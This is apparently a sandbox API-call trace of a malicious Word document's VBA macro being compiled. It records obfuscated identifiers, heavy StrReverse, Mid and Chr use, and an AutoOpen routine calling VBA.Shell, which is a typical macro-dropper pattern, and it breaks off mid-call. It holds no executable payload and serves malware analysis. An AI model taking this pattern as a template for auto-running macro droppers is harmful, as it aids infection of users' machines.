[0018.240] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.240] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.240] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.240] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.240] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.240] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.240] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.240] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="wEjIfJD") returned 0x106cbd [0018.240] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid") returned 0x10b3dc [0018.240] CExposedStream::Read () returned 0x0 [0018.240] CExposedStream::Read () returned 0x0 [0018.240] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="NllDopjH") returned 0x10f436 [0018.240] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.240] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.240] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.240] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.240] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.240] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.241] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.241] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.241] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.241] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.241] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="pFNXITiYF") returned 0x10ab82 [0018.241] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.241] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.241] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.241] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.241] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.241] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.241] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.241] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.241] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.241] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.241] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="HjGKVii") returned 0x109c25 [0018.241] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.241] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.241] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.241] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.241] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.241] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.241] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.241] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.241] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.241] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.241] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="aEuVmnRMJW") returned 0x10a71f [0018.241] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid") returned 0x10b3dc [0018.242] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="izDvfBJzZC") returned 0x105275 [0018.242] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.242] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.242] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.242] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.242] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.242] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.242] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.242] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.242] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.242] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.242] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="nDwPEi") returned 0x10bb1d [0018.242] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.242] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.242] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.242] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.242] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.242] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.242] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.242] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.242] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.242] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.242] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="omPYwzU") returned 0x107321 [0018.242] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.242] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.242] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.243] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.243] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.243] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.243] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.243] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.243] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.243] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.243] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="kMLBXOldkAE") returned 0x109148 [0018.243] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid") returned 0x10b3dc [0018.243] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="whwumBVr") returned 0x10a9e2 [0018.243] VirtualAlloc (lpAddress=0x0, dwSize=0x3000, flAllocationType=0x1000, flProtect=0x4) returned 0x6980000 [0018.244] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.244] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.244] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.244] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.244] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.244] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.244] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.244] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.244] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.244] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.244] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="JWcLJMzDbt") returned 0x10e668 [0018.244] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.244] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.244] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.244] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.244] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.244] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.244] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.244] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.244] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.244] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.244] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="zqfFZIO") returned 0x104e14 [0018.244] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.244] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.244] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.245] CExposedStream::Read () returned 0x0 [0018.245] CExposedStream::Read () returned 0x0 [0018.246] CExposedStream::Read () returned 0x0 [0018.246] CExposedStream::Read () returned 0x0 [0018.247] CExposedStream::Read () returned 0x0 [0018.247] CExposedStream::Read () returned 0x0 [0018.248] strcpy_s (in: _Dst=0x7fef108d150, _DstSize=0x100, _Src="QiiPPcnDM" | out: _Dst="QiiPPcnDM") returned 0x0 [0018.248] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="EUHUHUCzL") returned 0x10775f [0018.248] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="qHXPhnQPQ") returned 0x1035a6 [0018.248] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Chr") returned 0x107e4b [0018.248] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="UGJALrCHiip") returned 0x105052 [0018.248] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LZVzFpXjGFG") returned 0x10b8ab [0018.248] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="UCzOjDfJpWA") returned 0x10e238 [0018.248] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="rQOLrrmlzo") returned 0x10fc8e [0018.248] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="mYDisuOlMwC") returned 0x106c83 [0018.248] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="zYowYjO") returned 0x10fae9 [0018.248] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="aEuVmnRMJW") returned 0x10a71f [0018.248] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="WSNEqEPMPtQ") returned 0x10d013 [0018.248] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="WpjzZrtiM") returned 0x105c5c [0018.248] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="QmTrb") returned 0x10e0db [0018.248] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="fEpJa") returned 0x1057cb [0018.248] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="fRWHwTIf") returned 0x1014bc [0018.248] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="KzWjh") returned 0x10889d [0018.248] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="aTqQP") returned 0x1019b1 [0018.248] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LaFNnZb") returned 0x1065b3 [0018.248] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="NjkZVUC") returned 0x10f934 [0018.248] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Ssmtws") returned 0x10de0e [0018.248] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="kMLBXOldkAE") returned 0x109148 [0018.248] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="wEjIfJD") returned 0x106cbd [0018.248] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DAaLUHVmFv") returned 0x101f0f [0018.249] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="dtVUSHj") returned 0x10c4c6 [0018.249] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="iuBGVRfHZ") returned 0x10eb39 [0018.249] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.249] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.249] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.249] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.249] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.249] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.249] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.249] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.249] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.249] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="zKaWsatcp") returned 0x1031c3 [0018.249] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.249] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.249] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.249] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.249] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.249] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.249] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.249] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.249] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.249] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="End") returned 0x1089cd [0018.249] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810 [0018.249] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sub") returned 0x10d5ac [0018.249] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="AutoOpen") returned 0x102ad9 [0018.249] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6980a92, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0018.249] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6980a92, cbMultiByte=8, lpWideCharStr=0x781fbc8, cchWideChar=8 | out: lpWideCharStr="AutoOpen") returned 8 [0018.249] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="IEoiQYirw") returned 0x10db8e [0018.249] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.249] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.249] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.249] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.250] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.250] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.250] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.250] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.250] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.250] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="MoYWTqLaN") returned 0x108dd0 [0018.250] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.250] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.250] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.250] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.250] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.250] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.250] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.250] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.250] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.250] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBA") returned 0x10e2f7 [0018.250] strcpy_s (in: _Dst=0x7fef108d150, _DstSize=0x100, _Src="VBA" | out: _Dst="VBA") returned 0x0 [0018.250] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Shell") returned 0x10d756 [0018.250] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="QiiPPcnDM") returned 0x10906e [0018.250] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LBIudRFHj") returned 0x103e35 [0018.250] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.250] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.250] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.250] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.250] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.250] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.250] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.250] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.250] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.250] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="pzJhqLHhc") returned 0x108a3d [0018.250] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.250] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.251] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.251] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.251] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.251] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.251] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.251] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.251] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.251] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="dUwrHcrra") returned 0x101f4e [0018.251] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.251] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.251] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.251] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.251] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.251] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.251] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.251] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.251] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.251] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="JtIDTTZdD") returned 0x1008d3 [0018.251] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.251] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.251] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.251] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.251] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.251] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.251] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.251] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.251] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.251] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="End") returned 0x1089cd [0018.251] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sub") returned 0x10d5ac [0018.251] CExposedStream::Read () returned 0x0 [0018.251] CExposedStream::Release () returned 0x1 [0018.251] CExposedStream::Release () returned 0x0 [0018.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wTvKzqFRU", cchWideChar=10, lpMultiByteStr=0x306ae0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wTvKzqFRU", lpUsedDefaultChar=0x0) returned 10 [0018.252] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="wTvKzqFRU") returned 0x10e931 [0018.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wTvKzqFRU", cchWideChar=10, lpMultiByteStr=0x306c20, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wTvKzqFRU", lpUsedDefaultChar=0x0) returned 10 [0018.252] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="wTvKzqFRU") returned 0x10e931 [0018.252] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x80) returned 0x7959d70 [0018.252] IMalloc:GetSize (This=0x7fefe9e5380, pv=0x7959d70) returned 0x80 [0018.252] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xb8) returned 0x7a10120 [0018.252] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xb8) returned 0x7a101e0 [0018.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wTvKzqFRU", cchWideChar=10, lpMultiByteStr=0x306ae0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wTvKzqFRU", lpUsedDefaultChar=0x0) returned 10 [0018.252] CoCreateGuid (in: pguid=0x306810 | out: pguid=0x306810*(Data1=0x67385437, Data2=0x9b66, Data3=0x4910, Data4=([0]=0x95, [1]=0x17, [2]=0x5a, [3]=0xb8, [4]=0x3b, [5]=0x5d, [6]=0x8e, [7]=0xe0))) returned 0x0 [0018.252] CoCreateGuid (in: pguid=0x306820 | out: pguid=0x306820*(Data1=0x6b9f41b9, Data2=0xf586, Data3=0x43f7, Data4=([0]=0xb6, [1]=0x3a, [2]=0xc, [3]=0x71, [4]=0xd4, [5]=0x8, [6]=0x3d, [7]=0xc4))) returned 0x0 [0018.252] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="wTvKzqFRU", cchWideChar=10, lpMultiByteStr=0x306830, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wTvKzqFRU", lpUsedDefaultChar=0x0) returned 10 [0018.252] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="wTvKzqFRU") returned 0x10e931 [0018.252] GetLocalTime (in: lpSystemTime=0x306708 | out: lpSystemTime=0x306708*(wYear=0x7e1, wMonth=0xb, wDayOfWeek=0x2, wDay=0x1c, wHour=0x12, wMinute=0x12, wSecond=0x2, wMilliseconds=0x22a)) [0018.252] _ultow_s (in: _Value=0x5bf1acda, _Buffer=0x7ac900c, _BufferCount=0x9, _Radix=16 | out: _Buffer="5bf1acda") returned 0x0 [0018.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="035bf1acda", cchWideChar=11, lpMultiByteStr=0x3066a0, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="035bf1acda", lpUsedDefaultChar=0x0) returned 11 [0018.252] strcpy_s (in: _Dst=0x7a1f5d8, _DstSize=0xa, _Src="wTvKzqFRU" | out: _Dst="wTvKzqFRU") returned 0x0 [0018.252] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="wTvKzqFRU") returned 0x10e931 [0018.252] wcscpy_s (in: _Destination=0x7ac9020, _SizeInWords=0xa, _Source="wTvKzqFRU" | out: _Destination="wTvKzqFRU") returned 0x0 [0018.252] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="wTvKzqFRU") returned 0x10e931 [0018.252] wcscpy_s (in: _Destination=0x7ac9038, _SizeInWords=0xa, _Source="wTvKzqFRU" | out: _Destination="wTvKzqFRU") returned 0x0 [0018.252] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="wTvKzqFRU") returned 0x10e931 [0018.252] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x60) returned 0xbafd150 [0018.252] IMalloc:Free (This=0x7fefe9e5380, pv=0x7959bc0) [0018.252] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x20) returned 0x781c6e0 [0018.252] IMalloc:Free (This=0x7fefe9e5380, pv=0xbafd150) [0018.252] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x3d0) returned 0xbb65150 [0018.252] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x20) returned 0x781c6e0 [0018.252] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x10) returned 0x796d4a0 [0018.252] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x80) returned 0x7959bc0 [0018.252] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x0) returned 0x79f7fc0 [0018.252] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x0) returned 0x79f7fd0 [0018.253] wcsncpy_s (in: _Destination=0x3067f0, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc") returned 0x0 [0018.253] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc", cchLength=0x29 | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\ihknzkjo.doc") returned 0x29 [0018.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\ihknzkjo.doc", cchWideChar=42, lpMultiByteStr=0x306720, cbMultiByte=84, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\ihknzkjo.doc", lpUsedDefaultChar=0x0) returned 42 [0018.253] _wcsicmp 